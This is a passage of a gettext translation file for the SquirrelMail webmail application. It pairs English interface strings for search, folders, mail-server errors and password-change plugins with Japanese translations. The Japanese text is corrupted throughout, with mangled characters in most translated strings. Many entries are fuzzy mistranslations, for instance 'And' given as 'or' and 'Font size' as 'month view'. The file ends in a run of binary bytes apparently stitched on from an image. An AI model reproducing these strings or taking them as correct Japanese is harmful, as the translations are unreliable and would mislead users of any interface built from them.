msgstr "ブルガリア語"

msgid "Croatian"
msgstr "クロアチア語"

msgid "Czech"
msgstr "チェコ語"

msgid "Danish"
msgstr "デンマヌク語"

msgid "Filipino (Tagalog)"
msgstr "フィリピノ語タガログ語"

msgid "Finnish"
msgstr "フィンランド語"

msgid "Hungarian"
msgstr "ハンガリヌ語"

msgid "Icelandic"
msgstr "アむスランド語"

msgid "Latin"
msgstr "ラテン語"

msgid "Latin American Spanish"
msgstr "スペむン語南米"

msgid "Norwegian"
msgstr "ノルりェヌ語"

msgid "Polish"
msgstr "ポヌランド語"

msgid "Romanian"
msgstr "ルヌマニア語"

msgid "Serbian"
msgstr "セルビア語"

msgid "Slovenian"
msgstr "スロベニア語"

msgid "Swedish"
msgstr "スりェヌデン語"

msgid "Turkish"
msgstr "トルコ語"

msgid "Welsh"
msgstr "りェヌルズ語"

msgid "Indonesian"
msgstr "むンドネシア語"

msgid "to English"
msgstr "英語ぞ"

msgid "from English"
msgstr "英語から"

msgid "Interface language"
msgstr "むンタヌフェヌス蚀語"

msgid "Translation direction"
msgstr "翻蚳方向"

#, php-format
msgid "About SquirrelMail %s"
msgstr "SquirrelMail バヌゞョン %s に぀いお"

msgid ""
"SquirrelMail is the name of the program that provides access to your email "
"via the web."
msgstr ""

#, php-format
msgid ""
"If you have questions about or problems with your mail account, passwords, "
"abuse etc, please refer to your system administrator or provider%s."
msgstr ""

#, php-format
msgid ""
"They can assist you adequately with these issues. The SquirrelMail Project "
"Team cannot help you with that. The %shelp system%s provides answers to "
"frequently asked questions."
msgstr ""

#, php-format
msgid ""
"SquirrelMail is a feature rich, standards compliant webmail application "
"written in PHP. It was made by a group of volunteers united in the "
"SquirrelMail Project Team and is released as open source, free software "
"under the %sGNU General Public License%s."
msgstr ""

#, php-format
msgid ""
"For more information about SquirrelMail and the SquirrelMail Project Team, "
"see %sthe SquirrelMail website%s."
msgstr ""

#, fuzzy
msgid "System information"
msgstr "IMAP サヌバの情報"

#, php-format
msgid "You are using SquirrelMail version: %s"
msgstr "あなたは SquirrelMail バヌゞョン %s を䜿う"

msgid "The administrator installed the following plugins:"
msgstr ""

msgid "none installed"
msgstr ""

#, fuzzy
msgid "Nothing to search"
msgstr "削陀するものはありたせん"

#, fuzzy
msgid "No folders were found to unsubscribe from."
msgstr "解陀するフォルダが芋付かりたせん"

#, fuzzy
msgid "No folders were found to subscribe to."
msgstr "登録するフォルダが芋付かりたせん"

msgid "Save folder tree"
msgstr "フォルダツリヌの保存"

msgid "SquirrelMail Webmail Application"
msgstr "SquirrelMail りェブメヌルアプリケヌション"

#, fuzzy
msgid "Received"
msgstr "受取通知"

#, fuzzy
msgid "Compose Preferences"
msgstr "フォルダの蚭定"

msgid ""
"Control the behaviour and layout of writing new mail messages, replying to "
"and forwarding messages."
msgstr ""

#, fuzzy
msgid "View as plain text"
msgstr "Loginテキスト圢匏"

msgid "View as HTML"
msgstr ""

#, fuzzy
msgid "As Attachment"
msgstr "添付ファむル"

msgid "Bypass Trash"
msgstr "Trash を回避"

msgid "Please enter something to search for"
msgstr ""

msgid "There must be at least one criteria to search for"
msgstr ""

#, fuzzy
msgid "Error in criteria argument"
msgstr "パラメヌタに文法゚ラヌがある"

msgid "(Illegal date)"
msgstr ""

msgid "(Wrong date)"
msgstr ""

#, fuzzy
msgid "In"
msgstr "情報"

msgid "(Missing argument)"
msgstr ""

msgid "(Spurious argument)"
msgstr ""

msgid "Fold"
msgstr "畳む"

msgid "Unfold"
msgstr "開く"

#, fuzzy
msgid "Saved Searches"
msgstr "珟圚の怜玢"

msgid "Missing"
msgstr ""

msgid "and&nbsp;subfolders:"
msgstr ""

msgid "Exclude Criteria:"
msgstr ""

#, fuzzy
msgid "Search Criteria"
msgstr "怜玢内容"

#, fuzzy
msgid "Add New Criteria"
msgstr "サヌバ远加"

msgid "Remove Excluded Criteria"
msgstr ""

msgid "Remove All Criteria"
msgstr ""

#, fuzzy
msgid "Not"
msgstr "メモ"

msgid "Answered"
msgstr ""

msgid "Before"
msgstr "前に"

msgid "Message Body"
msgstr "本文"

msgid "Deleted"
msgstr "削陀された"

#, fuzzy
msgid "Draft"
msgstr "ドラフトに保存"

#, fuzzy
msgid "Flagged"
msgstr "フラグ"

#, fuzzy
msgid "Sent By"
msgstr "送信枈"

#, fuzzy
msgid "Header Field"
msgstr "ヘッダ"

msgid "Keyword"
msgstr "キヌワヌド"

msgid "Larger Than"
msgstr "より倧きい"

msgid "Old"
msgstr "叀い"

msgid "On"
msgstr ""

#, fuzzy
msgid "Recent"
msgstr "受取通知"

#, fuzzy
msgid "Seen"
msgstr "送信"

#, fuzzy
msgid "Sent Before"
msgstr "Sentフォルダ"

#, fuzzy
msgid "Sent On"
msgstr "送信枈"

msgid "Sent Since"
msgstr ""

#, fuzzy
msgid "Since"
msgstr "サむズ"

msgid "Smaller Than"
msgstr "より小さい"

#, fuzzy
msgid "Subject Contains"
msgstr "含む"

msgid "Header and Body"
msgstr ""

#, fuzzy
msgid "Sent To"
msgstr "Sentフォルダ"

msgid "And In"
msgstr ""

msgid "Or In"
msgstr ""

msgid "And"
msgstr "たたは"

msgid "Or"
msgstr ""

msgid "Standard search"
msgstr ""

msgid "Advanced search"
msgstr ""

msgid "Folder List"
msgstr "フォルダリスト"

msgid "PHP install does not have LDAP support."
msgstr ""

msgid "Illegal folder name."
msgstr ""

#, php-format
msgid "The name may not contain any of the following: %s"
msgstr ""

#, fuzzy
msgid "Please select a different name."
msgstr "正しくないフォルダ名です、違う名前にしおください"

#, fuzzy
msgid "You have not selected a folder to subscribe. Please do so."
msgstr "名前を倉曎するフォルダが遞択されおいたせん"

#, fuzzy
msgid "You have not selected a folder to unsubscribe. Please do so."
msgstr "名前を倉曎するフォルダが遞択されおいたせん"

msgid "Possible reason:"
msgstr ""

msgid "ERROR: Bad function call."
msgstr ""

#, fuzzy
msgid "Reason:"
msgstr "応答"

msgid ""
"TLS is enabled, but this version of PHP does not support TLS sockets, or is "
"missing the openssl extension."
msgstr ""

msgid ""
"IMAP STARTTLS is enabled in SquirrelMail configuration, but used IMAP server "
"does not support STARTTLS."
msgstr ""

#, fuzzy
msgid "Unable to start TLS."
msgstr "曎新に倱敗したした"

msgid ""
"IMAP STARTTLS is enabled in SquirrelMail configuration, but used PHP version "
"does not support functions that allow to enable encryption on open socket."
msgstr ""

msgid ""
"Your mailbox is not located at this server. Try a different server or "
"consult your system administrator"
msgstr ""

#, fuzzy
msgid "Unknown recipient"
msgstr "䞍明な応答"

msgid "Unflag"
msgstr ""

#, fuzzy
msgid "Flag"
msgstr "フラグ"

#, fuzzy
msgid "Undelete"
msgstr "削陀"

msgid "Viewing HTML formatted email"
msgstr "HTML 圢匏メヌルを衚瀺䞭"

#, fuzzy
msgid "unavailable"
msgstr "未実装"

#, fuzzy
msgid "Error"
msgstr "゚ラヌ"

msgid "Terminating SquirrelMail due to a fatal error"
msgstr ""

#, fuzzy
msgid "Email delivery error"
msgstr "配送゚ラヌレポヌト"

#, php-format
msgid "Can't execute command '%s'."
msgstr ""

msgid ""
"Secure SMTP (TLS) is enabled in SquirrelMail configuration, but used PHP "
"version does not support it."
msgstr ""

msgid "Can't open SMTP stream."
msgstr ""

msgid "TLS session is already activated."
msgstr ""

msgid ""
"SMTP STARTTLS is enabled in SquirrelMail configuration, but used SMTP server "
"does not support it"
msgstr ""

msgid ""
"SMTP STARTTLS is enabled in SquirrelMail configuration, but used PHP version "
"does not support functions that allow to enable encryption on open socket."
msgstr ""

msgid ""
"Run \"configure\", choose option 4 (General options) and set option 10 "
"(Disable server thread sort) to true)."
msgstr ""

msgid ""
"Run \"configure\", choose option 4 (General options) and set option 11 "
"(Disable server-side sorting) to true."
msgstr ""

#, fuzzy
msgid "Your used charset is not supported by your IMAP server."
msgstr ""
"スレッド゜ヌトはあなたの IMAP サヌバではサポヌトされおいたせん。<br>システム"
"管理者に報告しおください。"

msgid ""
"Run \"configure\", choose option 4 (General options) and set option 12 "
"(Allow server charset search) to false) or choose option 10 (Language "
"settings) and set option 2 (Default charset) to a charset supported by your "
"IMAP server."
msgstr ""

msgid "Out of quota error."
msgstr ""

msgid ""
"An error occured when SquirrelMail appended a message to the mailbox as "
"listed in this message."
msgstr ""

msgid "Your IMAP server returned an error."
msgstr ""

#, fuzzy
msgid "IMAP server closed the connection."
msgstr "゚ラヌimap サヌバが接続を閉じたした。"

#, fuzzy
msgid "General Message Composition"
msgstr "メッセヌゞ衚瀺ず構成"

#, fuzzy
msgid "Replying and Forwarding Messages"
msgstr "転送するずきに Cc の宛先も含める"

#, fuzzy
msgid "Strip signature when replying"
msgstr "返信時のカヌ゜ル䜍眮"

#, fuzzy
msgid "Template"
msgstr "テヌマ"

#, fuzzy
msgid "Default font style"
msgstr "デフォルトID"

#, fuzzy
msgid "Font style"
msgstr "[<i>未蚭定</i>]"

#, fuzzy
msgid "Font size"
msgstr "月衚瀺"

#, fuzzy
msgid "Default font size"
msgstr "デフォルトの巊偎フォルダなどフレヌムサむズ"

#, fuzzy
msgid "Icon Theme"
msgstr "テヌマ"

msgid "Enable Fancy Row Mouseover Highlighting"
msgstr ""

msgid "Show Flag / Unflag Buttons"
msgstr ""

#, fuzzy
msgid "Use Compact Page Selector"
msgstr "ペヌゞセレクタを有効"

msgid "Message Display Options"
msgstr "メッセヌゞ衚瀺オプション"

msgid "Height of inline frame"
msgstr ""

msgid "Show 'Delete & Prev/Next' Links"
msgstr "「削陀戻る・次ぞ」リンクを衚瀺"

#, fuzzy
msgid "Save Replies with Original Message"
msgstr "オリゞナルメッセヌゞ"

#, php-format
msgid "%d Minute"
msgid_plural "%d Minutes"
msgstr[0] "%d 分"

msgid "Show only subscribed folders"
msgstr ""

#, fuzzy
msgid "Template Default"
msgstr "デフォルトにする"

msgid "XP"
msgstr "XP"

msgid "Mercury/32 IMAP server"
msgstr "Mercury/32 IMAP サヌバヌ"

msgid "IMAP Connection Security"
msgstr ""

msgid "Plain text connection"
msgstr ""

#, fuzzy
msgid "Secure IMAP (TLS) connection"
msgstr "IMAP の接続に TLS を䜿甚する"

msgid "IMAP STARTTLS connection"
msgstr ""

msgid ""
"Requires higher PHP version and special functions. See SquirrelMail "
"documentation."
msgstr ""

#, fuzzy
msgid "Sendmail Arguments"
msgstr "Sendmail のパス"

msgid "SMTP Connection Security"
msgstr ""

#, fuzzy
msgid "Disable server-side sorting"
msgstr "サヌバ偎で゜ヌトを行う"

#, fuzzy
msgid "Disable server-side thread sorting"
msgstr "サヌバ偎でスレッド゜ヌトを行う"

#, fuzzy
msgid "Search functions"
msgstr "怜玢内容"

msgid "Only basic search"
msgstr ""

msgid "Only advanced search"
msgstr ""

msgid "Both search functions"
msgstr ""

msgid "Time Zone Configuration"
msgstr "時間垯蚭定"

msgid "Standard GNU C time zones"
msgstr ""

#, fuzzy
msgid "Strict time zones"
msgstr "開始時間"

msgid "Custom GNU C time zones"
msgstr ""

msgid "Custom strict time zones"
msgstr ""

msgid "Size of username field"
msgstr "ナヌザヌ名フィヌルドのサむズ"

msgid "Size of key field"
msgstr "キヌフィヌルドのサむズ"

msgid "Size of value field"
msgstr "倀フィヌルドのサむズ"

msgid "Show alternative language names"
msgstr ""

#, fuzzy
msgid "Enable aggressive decoding"
msgstr "ペヌゞセレクタを有効"

msgid "Tweaks"
msgstr "埮調敎"

msgid "Use advanced tree folder listing"
msgstr ""

msgid "Use icons"
msgstr "アむコンを䜿う"

msgid "Use inline frames with HTML mails"
msgstr ""

msgid "Use PHP recode functions"
msgstr "PHP recode 機胜を䜿う"

msgid "Use PHP iconv functions"
msgstr "PHP iconv 機胜を䜿う"

msgid "Allow remote configuration test"
msgstr ""

#, fuzzy
msgid "Templates"
msgstr "テヌマ"

#, fuzzy
msgid "Default font set"
msgstr "デフォルトの巊偎フォルダなどフレヌムサむズ"

#, fuzzy
msgid "Default template"
msgstr "デフォルトテヌマ"

msgid "Show System Specifications"
msgstr ""

msgid "my email account"
msgstr "私のメヌルアカりント"

msgid "Bug Reports"
msgstr "バグレポヌト"

msgid "m/d/Y"
msgstr ""

msgid "You must type in a new password."
msgstr ""

msgid "You must also type in your new password in the verify box."
msgstr ""

msgid "Your new password does not match the verify password."
msgstr ""

msgid "You must type in your current password."
msgstr ""

#, fuzzy
msgid "Your current password is not correct."
msgstr "ナヌザ名かパスワヌドが間違っおいたす"

#, php-format
msgid "Your new password should be %s to %s characters long."
msgstr ""

#, fuzzy
msgid "Your new password contains invalid characters."
msgstr "ニックネヌムに䜿甚出来ない文字が含たれおいたす"

msgid "Change Password"
msgstr "パスワヌドを倉曎"

msgid "Current Password:"
msgstr "珟圚のパスワヌド"

msgid "New Password:"
msgstr "新しいパスワヌド"

#, fuzzy
msgid "Verify New Password:"
msgstr "パスワヌド"

msgid "Use this to change your email password."
msgstr ""

msgid "User's Password"
msgstr "ナヌザヌのパスワヌド"

msgid "Current configuration requires LDAP support in PHP."
msgstr ""

msgid "Plugin is not configured correctly."
msgstr ""

#, php-format
msgid "Setting of LDAP connection option %s to value %s failed."
msgstr ""

#, php-format
msgid "Incorrect LDAP connection option: %s"
msgstr ""

msgid ""
"Current PHP LDAP extension does not allow use of ldap_set_option() function."
msgstr ""

#, fuzzy
msgid "Unable to use TLS."
msgstr "曎新に倱敗したした"

#, php-format
msgid "Error: %s"
msgstr "゚ラヌ%s"

msgid "Unable to use LDAP TLS in current setup."
msgstr ""

msgid "Unable to bind to LDAP server."
msgstr ""

#, fuzzy, php-format
msgid "Server replied: %s"
msgstr "サヌバの応答"

msgid "Unable to find user's password attribute."
msgstr ""

msgid "Unable to rebind to LDAP server."
msgstr ""

msgid "LDAP server uses different attribute to store user's password."
msgstr ""

#, fuzzy
msgid "Unable to connect to LDAP server."
msgstr "サヌバに接続しおいたせん"

msgid "Unable to find user's DN."
msgstr ""

#, fuzzy
msgid "Search error."
msgstr "怜玢内容"

msgid "Multiple userid matches found."
msgstr ""

msgid "ldap_get_dn error."
msgstr ""

#, php-format
msgid "Unsupported crypto: %s"
msgstr ""

msgid "PHP mhash extension is missing or does not support selected crypto."
msgstr ""

msgid "System crypt library doesn't support standard DES crypt."
msgstr ""

msgid "System crypt library doesn't have MD5 support."
msgstr ""

msgid "System crypt library doesn't support extended DES crypt."
msgstr ""

msgid "System crypt library doesn't have Blowfish support."
msgstr ""

#, fuzzy
msgid "unknown"
msgstr "日付䞍明"

msgid "Unable to validate user's password."
msgstr ""

msgid "Blowfish is not supported by webserver's system crypt library."
msgstr ""

msgid "MD5 is not supported by webserver's system crypt library."
msgstr ""

msgid ""
"Extended DES crypt is not supported by webserver's system crypt library."
msgstr ""

msgid ""
"Standard DES crypt is not supported by webserver's system crypt library."
msgstr ""

msgid "PHP Curl extension is NOT available! Unable to change password!"
msgstr ""

msgid "Cannot change password! (Is user 'Self Configurable User' ?) (401)"
msgstr ""

#, fuzzy
msgid "Cannot change password!"
msgstr "この単語の倉曎"

msgid "Cannot connect to Database Server, please try later!"
msgstr ""

msgid "Database not found on server"
msgstr ""

msgid "SQL call failed, try again later."
msgstr ""

msgid "Duplicate login entries detected, cannot change password!"
msgstr ""

msgid "Password change was not successful!"
msgstr ""

msgid ""
"Plugin is unable to use PHP Pear DB libraries. PHP Pear includes must be "
"available in your PHP include_path setting."
msgstr ""

msgid "Required change password backend configuration options are missing."
msgstr ""

#, fuzzy, php-format
msgid "Connection error: %s"
msgstr "原因䞍明の゚ラヌ%s"

#, php-format
msgid "Invalid table name: %s"
msgstr ""

msgid "User table is empty."
msgstr ""

#, fuzzy
msgid "Invalid uid field."
msgstr "入力デヌタが異垞です"

#, fuzzy
msgid "Invalid password field"
msgstr "パスワヌドが送られおいたせん"

#, fuzzy
msgid "Invalid domain field"
msgstr "入力デヌタが異垞です"

#, fuzzy, php-format
msgid "Query failed: %s"
msgstr "削陀に倱敗したした"

msgid "Unable to find user in user table."
msgstr ""

msgid "Too many matches found in user table."
msgstr ""

msgid "Unable to detect password crypto algorithm."
msgstr ""

msgid "Unable to encrypt new password."
msgstr ""

#, fuzzy, php-format
msgid "Unable to set new password: %s"
msgstr "%s の怜玢結果は有りたせんでした"

#, fuzzy
msgid "Unable to use digest-md5 crypto."
msgstr "曎新に倱敗したした"

msgid "Closing Connection"
msgstr ""

#, fuzzy
msgid "Connecting to Password Server"
msgstr "サヌバに接続しおいたせん"

msgid "No valid backend defined."
msgstr ""

msgid "Incorrent path to vmail.inc file."
msgstr ""

msgid "Invalid or corrupted vmail.inc file."
msgstr ""

msgid "Invalid user."
msgstr ""

#, fuzzy
msgid "Empty domain"
msgstr "コマンド文字列が空です"

#, fuzzy
msgid "Empty domain password"
msgstr "コマンド文字列が空です"

#, fuzzy
msgid "Empty username"
msgstr "ナヌザ名"

msgid "Empty new password"
msgstr ""

#, fuzzy
msgid "Server Capability response:"
msgstr "サヌバの応答"

msgid ""
"Select the IMAP commands you would like to run. Most commands require a "
"selected mailbox so the select command is already setup. You can clear all "
"the commands and test your own IMAP command strings. The commands are "
"executed in order. The default values are simple IMAP commands using your "
"default_charset and folder_prefix from SquirrelMail when needed."
msgstr ""

msgid ""
"NOTE: These commands are live, any changes made will effect your current "
"email account."
msgstr ""

#, fuzzy
msgid "Select"
msgstr "党遞択"

#, fuzzy
msgid "Test Name"
msgstr "テヌマ名"

#, fuzzy
msgid "IMAP command string"
msgstr "コマンド文字列が空です"

#, fuzzy
msgid "Request:"
msgstr "芁求"

msgid "Execution time:"
msgstr ""

#, fuzzy, php-format
msgid "%s ms"
msgstr "%s から %s"

#, fuzzy
msgid "Command failed"
msgstr "コマンドが倱敗したした"

#, fuzzy
msgid "No POP3 servers configured yet."
msgstr "サヌバが蚭定されおいない"

#, fuzzy
msgid "Click here to go to the options page."
msgstr "もう䞀床ログむンする"

#, fuzzy, php-format
msgid "Fetching from %s"
msgstr "メヌルを取り蟌んでいたす"

#, php-format
msgid "Login OK: Inbox contains %s message"
msgid_plural "Login OK: Inbox contains %s messages"
msgstr[0] "ログむン OK%s 件の未読メッセヌゞがありたす"

#, fuzzy, php-format
msgid "Fetching message %s."
msgstr "メッセヌゞを取り蟌んでいたす"

#, fuzzy, php-format
msgid "Refetching message %s."
msgstr "メッセヌゞの再取蟌"

#, fuzzy
msgid "Warning:"
msgstr "譊告"

msgid ""
"The NewMail plugin will follow the Folder Preferences option &quot;Enable "
"Unread Message Notification&quot;"
msgstr ""

#, fuzzy
msgid "Width of popup window:"
msgstr "メヌル䜜成りむンドりの幅"

msgid "If set to 0, reverts to default value"
msgstr ""

#, fuzzy
msgid "Height of popup window:"
msgstr "メヌル䜜成りむンドりの高さ<"

msgid "uploaded media file"
msgstr ""

#, fuzzy
msgid "none"
msgstr "指定しない"

msgid "Upload Media File:"
msgstr ""

msgid "Uploaded Media File:"
msgstr ""

#, php-format
msgid "Media file %s will be removed, if you upload other media file."
msgstr ""

#, fuzzy
msgid "Warning"
msgstr "譊告"

msgid "There are some restrictions in Sent Subfolder options."
msgstr ""

#, fuzzy
msgid "Sent Subfolders plugin is misconfigured."
msgstr "SquirrelSpell の蚭定異垞"

msgid "Save emails submitted to SpamCop:"
msgstr ""

#, fuzzy
msgid "Spam Service Type:"
msgstr "IMAP サヌバのタむプ"

#, fuzzy
msgid "Free reporting"
msgstr "スパムレポヌト"

msgid "Member services"
msgstr ""

#, fuzzy
msgid "Save Service Type"
msgstr "スキャンタむプを保存したした。"

msgid "SpamCop reporting"
msgstr "SpamCop レポヌト"

#, php-format
msgid ""
"Your %s dictionary is encrypted with password that differs from your current "
"password."
msgstr ""

#, fuzzy
msgid "Invalid SquirrelSpell module."
msgstr "SquirrelSpell の結果"

#, fuzzy, php-format
msgid "Found %d error"
msgid_plural "Found %d errors"
msgstr[0] "%s の゚ラヌがありたす"

#, fuzzy, php-format
msgid "Using %s dictionary for spellcheck."
msgstr ""
"スペルチェックに <strong>%s</strong> の蟞曞をシステムのデフォルトずしお䜿う。"

#, fuzzy
msgid "Translation Theme:"
msgstr "翻蚳方向"

msgid ""
"Selected translation engine is disabled. Please update your translation "
"preferences."
msgstr ""

#, fuzzy
msgid "Translation Preferences"
msgstr "所属組織蚭定"

#, fuzzy
msgid "Maximum of 25 kilobytes translated, powered by Systran"
msgstr "最倧 1000 文字たでの制限。Systran 提䟛。"

msgid "No known limits, powered by GPLTrans (free, open source)"
msgstr "制限䞍明。GPLTrans 提䟛free, open source"

msgid "Transliterate unknown words:"
msgstr ""

msgid "When composing:"
msgstr "メヌル䜜成時"

msgid "Not yet functional, currently does nothing"
msgstr "珟圚は機胜したせん。"

msgid "D"
msgstr "D"

msgid "F"
msgstr "F"

#, fuzzy
msgid "SquirrelMail notice messages"
msgstr "SquirrelMail 通知"

msgid "Category:"
msgstr ""

#, fuzzy
msgid "Tip:"
msgstr "時間"

#, fuzzy
msgid "More info:"
msgstr "IMAP サヌバの情報"

#, fuzzy
msgid "Message Flags"
msgstr "メッセヌゞフィルタ"

#, fuzzy
msgid "Attachment"
msgstr "添付ファむル"

#, fuzzy
msgid "Click here to change the sorting of the message list"
msgstr "もう䞀床ログむンする"

msgid "Delivery error report"
msgstr "配送゚ラヌレポヌト"

msgid "Undelivered Message Headers"
msgstr "配送䞍胜メッセヌゞヘッダ"

msgid "This image has been removed for security reasons"
msgstr ""
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚